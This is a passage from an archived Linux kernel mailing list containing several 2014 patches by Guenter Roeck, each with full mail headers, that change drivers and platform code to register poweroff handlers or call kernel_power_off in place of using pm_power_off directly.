	b=7Mr2JkTSlnv8qPTzhpG5nboKiFvnlH+idJRr/ae1TXSNNpv2XrU4j6S7fDydVtj2rpvaoMHYrCxKzNo9HVbASuC0+rAnY/pLNyQCQVhiLxYcBch9++Lz5EQLACHf2PuWaljYozD43zYQsAr7Ye6GdnFQdBhlRtgbUv1T8CkijG4=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLy-002fqF-Dl
	for linux-kernel@vger.kernel.org; Tue, 07 Oct 2014 05:30:30 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32941 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLx-002flU-MJ; Tue, 07 Oct 2014 05:30:30 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020207.54337A76.00AC,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 647
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1802453 gmane.linux.drivers.devicetree:93043 gmane.linux.kernel.virtualization.lguest:1462 gmane.linux.acpi.devel:71276 gmane.linux.ports.alpha:2447 gmane.linux.kernel.efi:4730 gmane.linux.ports.hexagon:794 gmane.linux.ports.ppc64.devel:105873 gmane.linux.ports.tegra:19476 gmane.linux.kernel.openipmi:2453 gmane.linux.uml.devel:14666 gmane.linux.ports.arm.kernel:362348 gmane.linux.ports.ia64:24483 gmane.linux.kernel.metag:314 gmane.linux.ports.mips.general:44164 gmane.linux.ports.parisc:6089 gmane.linux.power-management.general:50618 gmane.linux.ports.sh.devel:39787
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1802453>

Register with kernel poweroff handler instead of setting pm_power_off
directly.

Cc: Rusty Russell <rusty@rustcorp.com.au>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: H. Peter Anvin <hpa@zytor.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/x86/lguest/boot.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/lguest/boot.c b/arch/x86/lguest/boot.c
index aae9413..083a999 100644
--- a/arch/x86/lguest/boot.c
+++ b/arch/x86/lguest/boot.c
@@ -1441,7 +1441,7 @@ __init void lguest_init(void)
 	 * the Guest routine to power off, and the reboot hook to our restart
 	 * routine.
 	 */
-	pm_power_off = lguest_power_off;
+	register_poweroff_handler_simple(lguest_power_off, 128);
 	machine_ops.restart = lguest_restart;
 
 	/*
-- 
1.9.1


From - Thu Nov 08 21:10:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 43/44] hwmon: (ab8500) Call kernel_power_off instead of pm_power_off
Date: Mon,  6 Oct 2014 22:28:45 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <1412659726-29957-44-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659868 26567 80.91.229.3 (7 Oct 2014 05:31:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:08 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Jean Delvare
To: linux-kernel@vger.kernel.org
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Oct 07 07:30:59 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XbNMQ-00038k-PI
	for lnx-linux-alpha@plane.gmane.org; Tue, 07 Oct 2014 07:30:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754022AbaJGFa5 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 7 Oct 2014 01:30:57 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41346 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754011AbaJGFaz (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Tue, 7 Oct 2014 01:30:55 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=RGGZb7qJJC2L2icaJmDZrW2KX/dc9GyS/oXuJdZKDpw=;
	b=rJqaPjmqAMMUGv4PPcOb3swbqr0qBcNb8uNJw9FAeX68DCdBFW1ieTnJVqcjFgrF665XfryJFuubbiduLzIjhbn283CUUrwu5aCV50spCba6DNvgwr50byYlhKelQVfM9Ip3NgPOfvp+uRKxb/Nu+pDPaNKkF6g7izC0SxSH580=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNMM-002izJ-Jq
	for linux-alpha@vger.kernel.org; Tue, 07 Oct 2014 05:30:54 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32946 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNM9-002hSH-SM; Tue, 07 Oct 2014 05:30:42 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020204.54337A8F.0001,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 911
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2448 gmane.linux.kernel:1802454 gmane.linux.drivers.devicetree:93044 gmane.linux.kernel.virtualization.lguest:1463 gmane.linux.acpi.devel:71277 gmane.linux.kernel.efi:4731 gmane.linux.ports.hexagon:795 gmane.linux.ports.ppc64.devel:105874 gmane.linux.ports.tegra:19477 gmane.linux.kernel.openipmi:2454 gmane.linux.uml.devel:14667 gmane.linux.ports.arm.kernel:362349 gmane.linux.ports.ia64:24484 gmane.linux.kernel.metag:315 gmane.linux.ports.mips.general:44165 gmane.linux.ports.parisc:6090 gmane.linux.power-management.general:50619 gmane.linux.ports.sh.devel:39788
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2448>

Drivers should not call pm_power_off directly; it is not guaranteed
to be non-NULL. Call kernel_power_off instead.

Cc: Jean Delvare <jdelvare@suse.de>
Reviewed-by: Jean Delvare <jdelvare@suse.de>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/hwmon/ab8500.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/drivers/hwmon/ab8500.c b/drivers/hwmon/ab8500.c
index d844dc8..8b6a4f4 100644
--- a/drivers/hwmon/ab8500.c
+++ b/drivers/hwmon/ab8500.c
@@ -6,7 +6,7 @@
  *
  * When the AB8500 thermal warning temperature is reached (threshold cannot
  * be changed by SW), an interrupt is set, and if no further action is taken
- * within a certain time frame, pm_power off will be called.
+ * within a certain time frame, kernel_power_off will be called.
  *
  * When AB8500 thermal shutdown temperature is reached a hardware shutdown of
  * the AB8500 will occur.
@@ -21,6 +21,7 @@
 #include <linux/module.h>
 #include <linux/platform_device.h>
 #include <linux/power/ab8500.h>
+#include <linux/reboot.h>
 #include <linux/slab.h>
 #include <linux/sysfs.h>
 #include "abx500.h"
@@ -106,7 +107,7 @@ static void ab8500_thermal_power_off(struct work_struct *work)
 
 	dev_warn(&abx500_data->pdev->dev, "Power off due to critical temp\n");
 
-	pm_power_off();
+	kernel_power_off();
 }
 
 static ssize_t ab8500_show_name(struct device *dev,
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.acpi.devel,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 39/44] x86: ce4100: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:41 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <1412659726-29957-40-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659868 26572 80.91.229.3 (7 Oct 2014 05:31:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:08 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Thomas Gleix
To: linux-kernel@vger.kernel.org
Original-X-From: linux-acpi-owner@vger.kernel.org Tue Oct 07 07:30:58 2014
Return-path: <linux-acpi-owner@vger.kernel.org>
Envelope-to: glad-acpi-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-acpi-owner@vger.kernel.org>)
	id 1XbNMO-00038k-Q4
	for glad-acpi-devel@plane.gmane.org; Tue, 07 Oct 2014 07:30:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753942AbaJGFar (ORCPT <rfc822;glad-acpi-devel@m.gmane.org>);
	Tue, 7 Oct 2014 01:30:47 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41106 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753910AbaJGFam (ORCPT
	<rfc822;linux-acpi@vger.kernel.org>); Tue, 7 Oct 2014 01:30:42 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=rgqS43nM3CenvyECAApazk4t0uYYUciTCI2quwu2tvs=;
	b=Z2ilef3tZJzk8YElND6B0REz2sPW4MajzO9t+Xe2m4sCe2wVVUT772vBYlDOBotSKXpaWv2JeLrwmfXksw1fF6L+TPERzxmRwV8uWdnEzlKvpcGISBBVIhYG4YoOfjrlJbif5Xm+thdUmdOxw8McD8nVhz4NFlYXA/AV4Ae+XME=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNM9-002hSO-Kj
	for linux-acpi@vger.kernel.org; Tue, 07 Oct 2014 05:30:41 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32942 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLz-002fwh-TT; Tue, 07 Oct 2014 05:30:32 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020206.54337A81.0107,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 765
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-acpi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-acpi.vger.kernel.org>
X-Mailing-List: linux-acpi@vger.kernel.org
Xref: news.gmane.org gmane.linux.acpi.devel:71278 gmane.linux.kernel:1802455 gmane.linux.drivers.devicetree:93045 gmane.linux.kernel.virtualization.lguest:1464 gmane.linux.ports.alpha:2449 gmane.linux.kernel.efi:4732 gmane.linux.ports.hexagon:796 gmane.linux.ports.ppc64.devel:105875 gmane.linux.ports.tegra:19478 gmane.linux.kernel.openipmi:2455 gmane.linux.uml.devel:14668 gmane.linux.ports.arm.kernel:362350 gmane.linux.ports.ia64:24485 gmane.linux.kernel.metag:316 gmane.linux.ports.mips.general:44166 gmane.linux.ports.parisc:6091 gmane.linux.power-management.general:50620 gmane.linux.ports.sh.devel:39789
Archived-At: <http://permalink.gmane.org/gmane.linux.acpi.devel/71278>

Register with kernel poweroff handler instead of setting pm_power_off
directly.

Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: H. Peter Anvin <hpa@zytor.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/x86/platform/ce4100/ce4100.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/platform/ce4100/ce4100.c b/arch/x86/platform/ce4100/ce4100.c
index 701fd58..4a7f3d6 100644
--- a/arch/x86/platform/ce4100/ce4100.c
+++ b/arch/x86/platform/ce4100/ce4100.c
@@ -164,5 +164,5 @@ void __init x86_ce4100_early_setup(void)
 	 */
 	reboot_type = BOOT_KBD;
 
-	pm_power_off = ce4100_power_off;
+	register_poweroff_handler_simple(ce4100_power_off, 128);
 }
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-acpi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 40/44] x86: intel-mid: Drop registration of dummy poweroff handlers
Date: Mon,  6 Oct 2014 22:28:42 -0700
Lines: 65
Approved: news@gmane.org
Message-ID: <1412659726-29957-41-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659868 26571 80.91.229.3 (7 Oct 2014 05:31:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:08 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Thomas Gleix
To: linux-kernel@vger.kernel.org
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Oct 07 07:30:59 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XbNMP-00038k-BP
	for lnx-linux-alpha@plane.gmane.org; Tue, 07 Oct 2014 07:30:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754012AbaJGFaz (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 7 Oct 2014 01:30:55 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41228 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753938AbaJGFaq (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Tue, 7 Oct 2014 01:30:46 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=PGY33B28DCZ8qi9IY9bxC1BOXPSWzOF4PIrh3TZDhrY=;
	b=VEXDVzYRBLESOKmKX4JH3OjxakVB9pt1rRSWf7Hq1hYFE0ovybL8TpKRVaRqNem9Ad74rKmKTG7FeyFW83rnknHjNz1f8Qv/IXANqNefRCyU/TpxYrnENeWdKKmMPIgYJG0Q/wW9r1IZtBxRmRllm1Zg6Cv9CgXSYyNnLYxxmw8=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNME-002hvw-41
	for linux-alpha@vger.kernel.org; Tue, 07 Oct 2014 05:30:46 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32943 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNM2-002gQH-S4; Tue, 07 Oct 2014 05:30:35 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54337A86.0074,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 817
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2450 gmane.linux.kernel:1802456 gmane.linux.drivers.devicetree:93046 gmane.linux.kernel.virtualization.lguest:1465 gmane.linux.acpi.devel:71279 gmane.linux.kernel.efi:4733 gmane.linux.ports.hexagon:797 gmane.linux.ports.ppc64.devel:105876 gmane.linux.ports.tegra:19479 gmane.linux.kernel.openipmi:2456 gmane.linux.uml.devel:14669 gmane.linux.ports.arm.kernel:362351 gmane.linux.ports.ia64:24486 gmane.linux.kernel.metag:317 gmane.linux.ports.mips.general:44167 gmane.linux.ports.parisc:6092 gmane.linux.power-management.general:50621 gmane.linux.ports.sh.devel:39790
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2450>

A dummy poweroff handler does not serve any purpose. Drop it.

Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: H. Peter Anvin <hpa@zytor.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/x86/platform/intel-mid/intel-mid.c | 5 -----
 arch/x86/platform/intel-mid/mfld.c      | 5 -----
 2 files changed, 10 deletions(-)

diff --git a/arch/x86/platform/intel-mid/intel-mid.c b/arch/x86/platform/intel-mid/intel-mid.c
index 1bbedc4..4b70666 100644
--- a/arch/x86/platform/intel-mid/intel-mid.c
+++ b/arch/x86/platform/intel-mid/intel-mid.c
@@ -67,10 +67,6 @@ static void *(*get_intel_mid_ops[])(void) = INTEL_MID_OPS_INIT;
 enum intel_mid_cpu_type __intel_mid_cpu_chip;
 EXPORT_SYMBOL_GPL(__intel_mid_cpu_chip);
 
-static void intel_mid_power_off(void)
-{
-};
-
 static void intel_mid_reboot(void)
 {
 	intel_scu_ipc_simple_command(IPCMSG_COLD_BOOT, 0);
@@ -183,7 +179,6 @@ void __init x86_intel_mid_early_setup(void)
 
 	legacy_pic = &null_legacy_pic;
 
-	pm_power_off = intel_mid_power_off;
 	machine_ops.emergency_restart  = intel_mid_reboot;
 
 	/* Avoid searching for BIOS MP tables */
diff --git a/arch/x86/platform/intel-mid/mfld.c b/arch/x86/platform/intel-mid/mfld.c
index 23381d2..cf6842f 100644
--- a/arch/x86/platform/intel-mid/mfld.c
+++ b/arch/x86/platform/intel-mid/mfld.c
@@ -23,10 +23,6 @@ static struct intel_mid_ops penwell_ops = {
 	.arch_setup = penwell_arch_setup,
 };
 
-static void mfld_power_off(void)
-{
-}
-
 static unsigned long __init mfld_calibrate_tsc(void)
 {
 	unsigned long fast_calibrate;
